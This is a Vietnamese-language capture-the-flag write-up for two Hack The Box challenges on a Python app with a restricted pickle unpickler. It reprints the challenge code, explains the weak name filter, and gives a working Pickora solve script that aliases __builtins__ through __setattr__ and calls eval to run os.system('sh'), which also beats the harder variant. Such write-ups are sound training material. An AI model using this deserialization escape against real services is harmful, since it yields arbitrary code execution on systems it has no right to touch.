---
# System prepended metadata

title: 'HTB Cyber Apocalypse 2024: Hacker Royale - After Party'

---

# HTB Cyber Apocalypse 2024: Hacker Royale - After Party

## Were Pickle Phreaks
### Analysis
Source code:
**app.py:**
```python
# python 3.8
from sandbox import unpickle, pickle
import random

members = []

class Phreaks:
    def __init__(self, hacker_handle, category, id):
        self.hacker_handle = hacker_handle
        self.category = category
        self.id = id

    def display_info(self):
        print('================ ==============')
        print(f'Hacker Handle    {self.hacker_handle}')
        print('================ ==============')
        print(f'Category         {self.category}')
        print(f'Id               {self.id}')
        print()

def menu():
    print('Phreaks member registration v2')
    print('1. View current members')
    print('2. Register new member')
    print('3. Exit')

def add_existing_members():
    members.append(pickle(Phreaks('Skrill', 'Rev', random.randint(1, 10000))))
    members.append(pickle(Phreaks('Alfredy', 'Hardware', random.randint(1, 10000))))
    members.append(pickle(Phreaks('Suspicious', 'Pwn', random.randint(1, 10000))))
    members.append(pickle(Phreaks('Queso', 'Web', random.randint(1, 10000))))
    members.append(pickle(Phreaks('Stackos', 'Blockchain', random.randint(1, 10000))))
    members.append(pickle(Phreaks('Lin', 'Web', random.randint(1, 10000))))
    members.append(pickle(Phreaks('Almost Blood', 'JIT', random.randint(1, 10000))))
    members.append(pickle(Phreaks('Fiasco', 'Web', random.randint(1, 10000))))
    members.append(pickle(Phreaks('Big Mac', 'Web', random.randint(1, 10000))))
    members.append(pickle(Phreaks('Freda', 'Forensics', random.randint(1, 10000))))
    members.append(pickle(Phreaks('Karamuse', 'ML', random.randint(1, 10000))))

def view_members():
    for member in members:
        try:
            member = unpickle(member)
            member.display_info()
        except Exception as e:
            print('Invalid Phreaks member', e)

def register_member():
    pickle_data = input('Enter new member data: ')
    members.append(pickle_data)

def main():
    add_existing_members()
    while True:
        menu()
        try:
            option = int(input('> '))
        except ValueError:
            print('Invalid input')
            print()
            continue
        if option == 1:
            view_members()
        elif option == 2:
            register_member()
        elif option == 3:
            print('Exiting...')
            exit()
        else:
            print('No such option')
        print()

if __name__ == '__main__':
    main()

```
Đây là một chương trình với 2 chức năng cơ bản:
- `view_members()`: thực hiện deserialize và hiển thị các đối tượng
- `register_member()`: nhận input là dạng base64 của 1 đối tượng sau khi đã serialize

**sandbox.py:**
```python
from base64 import b64decode, b64encode 
from io import BytesIO
import pickle as _pickle

ALLOWED_PICKLE_MODULES = ['__main__', 'app']
UNSAFE_NAMES = ['__builtins__']

class RestrictedUnpickler(_pickle.Unpickler):
    def find_class(self, module, name):
        print(module, name)
        if (module in ALLOWED_PICKLE_MODULES and not any(name.startswith(f"{name_}.") for name_ in UNSAFE_NAMES)):
            return super().find_class(module, name)
        raise _pickle.UnpicklingError()
    
def unpickle(data):
    return RestrictedUnpickler(BytesIO(b64decode(data))).load()
    
def pickle(obj):
    return b64encode(_pickle.dumps(obj))

```
Ở đây, class `RestrictedUnpickler` kế thừa từ `_pickle.Unpickler`, định nghĩa phương thức `find_class()` thực hiện detect các module và name được cho phép. Trong `pickle`, phương thức [`find_class()`](https://github.com/python/cpython/blob/main/Lib/pickle.py#L1566) có source code như sau:
```python
def find_class(self, module, name):
    # Subclasses may override this.
    sys.audit('pickle.find_class', module, name)
    if self.proto < 3 and self.fix_imports:
        if (module, name) in _compat_pickle.NAME_MAPPING:
            module, name = _compat_pickle.NAME_MAPPING[(module, name)]
        elif module in _compat_pickle.IMPORT_MAPPING:
            module = _compat_pickle.IMPORT_MAPPING[module]
    __import__(module, level=0)
    if self.proto >= 4:
        return _getattribute(sys.modules[module], name)[0]
    else:
        return getattr(sys.modules[module], name)
```
Nó được dùng để tìm và nhập các module được chỉ định trong dữ liệu đã được pickled. `RestrictedUnpickler` hook vào phương thức `find_class()` để thực hiện sàng lọc các module. Ở đây các module được cho phép là `__main__`, `app` và name bị cấm là `__builtins__`

### Solution
Trong python, các module liên kết với nhau, do đó từ `__main__`, `app` chúng ta có thể nhập các module khác. Sử dụng `dir()` để check xem `__main__` có những module nào:
![image](https://hackmd.io/_uploads/SyPWVxNA6.png)

Chú ý một chút thì đoạn code filter khá lỏng lẻo:
```python!
if (module in ALLOWED_PICKLE_MODULES and not any(name.startswith(f"{name_}.") for name_ in UNSAFE_NAMES)):
```
Nó chỉ check xem name có bắt đầu bằng `__builtins__.` hay không, do đó mình có thể bypass bằng `__setattr__` để đổi name của `__builtins__` thành một ký tự khác. 
Mình sử dụng [`Pickora`](https://github.com/splitline/Pickora.git) để compile python pickle scripts, Pickle sử dụng `GLOBAL` để nhập module.

**Solve script:**
```python
from pickora import Compiler
from base64 import b64encode

def main():
    return 1

if __name__ == '__main__':
    compiler = Compiler()
    payload = b"setattr = GLOBAL('__main__', '__setattr__');"
    payload += b"builtins = GLOBAL('__main__','__builtins__');"
    payload += b"setattr('e',builtins);"
    payload += b"GLOBAL('__main__','e.eval')(\"__import__('os').system('sh')\")"
    print(b64encode(compiler.compile(payload)).decode())
```
Giải thích một chút, `GLOBAL('__main__', '__setattr__')` lấy function `__main__.__setattr__` và gán vào biến `setattr`, tương tự là `builtins`. `setattr('e',builtins)` thực hiện set function `__main__.__builtins__` thành `e` và cuối cùng là gọi `e.eval` để thực thi code python `__import__('os').system('sh')`.
![image](https://hackmd.io/_uploads/SJ7pzbNRp.png)

![image](https://hackmd.io/_uploads/BkoZ7W4A6.png)

## Were Pickle Phreaks Revenge
Source code không thay đổi, thay đổi duy nhất đến từ **sandbox.py:**
```python!
ALLOWED_PICKLE_MODULES = ['__main__', 'app']
UNSAFE_NAMES = ['__builtins__', 'random']
```
Có lẽ hướng intended của challege Were Pickle Phreaks là sử dụng module `random` để thực hiện call các module khác:
![image](https://hackmd.io/_uploads/HkV94WEA6.png)

Ở đây có thể sử dụng module `_os` để gọi hàm `system()`:
![image](https://hackmd.io/_uploads/SJ1HSbVCa.png)

Cách của mình không sử dụng đến module `random` nên có thể bypass luôn challenge này:
![image](https://hackmd.io/_uploads/rJtRu-V0a.png)
